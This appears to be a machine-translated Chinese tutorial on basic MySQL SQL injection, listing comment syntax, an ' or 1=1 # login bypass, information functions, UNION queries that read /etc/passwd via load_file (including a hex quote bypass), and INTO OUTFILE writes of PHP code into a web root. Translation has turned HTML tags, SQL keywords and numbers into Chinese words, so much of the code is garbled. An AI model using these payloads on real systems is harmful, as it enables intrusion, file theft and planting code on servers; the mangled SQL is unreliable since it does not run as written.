本篇内容介绍了“sql注入基础知识的介绍”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!
<强>什么是sql注入(sql注入)强>
所谓sql注入式攻击,就是攻击者把sql命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的sql命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态sql命令,或作为存储过程的输入参数,这类表单特别容易受到sql注入式攻击。
<强> mysql常用注释强>
,,,#
,,,——(空格]或者是——+
,,,/*…*/
在注意过程中,这些注释可能都需要进行urlencode。
<强> mysql认证绕过强>
,,,,,00;%
,,,,' or 1=1 #
,,,,“/* !或*/1=1,+
<强> mysql连接符强>
mysql中使用+来进行连接。
select *,得到users where 用户名=& # 39;zhangsan& # 39;,以及“ab"=癮" +“b";
<强> mysql中常见函数强>
在进行sql注入过程中,会使用到mysql中的内置函数。在内置函数中,又分为获取信息的函数和功能函数。
信息函数是用来获取mysql中的数据库的信息,功能函数就是传统的函数用来完成某项操作。
常用的信息函数有:
,,,<代码>数据库()> 代码,用于获取当前所使用的数据库信息
,,,,(): <代码>版本代码> 返回数据库的版本,等价于<代码> @@version 代码>
,,,,用户():<代码> 代码>返回当前的用户,等价如current_user参数。如:
select 用户();# root@localhost select current_user, # root@localhost
<代码> @@datadir> 代码,获取数据库的存储位置。
select @@datadir;, # D: \ xampp \ mysql数据\ \
<强>常见的功能函数有:强>
<代码> load_file(): 代码>从计算机中载入文件,读取文件中的数据。
select *,得到users union select 1, load_file (& # 39;/etc/passwd # 39;), 3; select *,得到users union select 1, load_file (0 x2f6574632f706173737764), 3,, #使用16进制绕过单引号限制
<代码>为输出文件:代码>写入文件,前提是具有写入权限
select & # 39; & lt; ? php phpinfo();, ?祝辞& # 39;,into outfile & # 39;/var/www/html/xxx.php& # 39;; select char(60、63112104112、32112104112105110102111、40、41岁的59岁,32岁,63年,62年),into outfile & # 39;/var/www/html/xxx.php& # 39;;
<代码> concat(): 代码>返回结果为连接参数产生的字符串。如果其中一个参数为null,则返回值为null。
用法如下:
select concat(用户名、密码)得到用户;
<代码> * concat_ws() 代码>:是<代码> concat_ws() 代码>的特殊形式,第一个参数是分隔符,剩下的参数就是字段名。
select concat_ws(& # 39; & # 39;用户名、密码),得到用户;
<代码> group_concat() 代码>:用于合并多条记录中的结果。
用法如下:
select group_concat(用户名),得到用户; #返回的就是用户表中所有的用户名,并且是作为一条记录返回。
<代码> subtring() 代码>,<代码> substr(): 代码>用于截断字符串。用法为:<代码> substr (str、pos、长度)> 代码,注意pos是从1开始的。
select substr ((select 数据库()),1,1),
<代码> ascii(): 代码>用法返回字符所对应的ascii值。
select ascii(& # 39;一个# 39;);,# 97
<代码>长度():代码>返回字符串的长度。
如:
select 长度(“123456”),#返回6
<代码>是(exp1, exp2 exp2):> 代码如果exp1的表达式是正确的,则返回exp2;否则返回exp3。
如:
select 1, 2,如果(1=1、3、1),# 1、2、3 selecrt 1, 2,如果(1=2、3、1),# 1、2、1
以上就是在进行sql注入工程中常用的函数。当然还存在一些使用的不是很多的函数。
,,,<代码>现在():代码>返回当前的系统时间
,,,<代码>十六进制():代码>返回字符串的16进制
,,,<代码> unhex(): 代码>反向的十六进制()的16进制
,,,<代码> @@basedir(): 代码>反向mysql的安装目录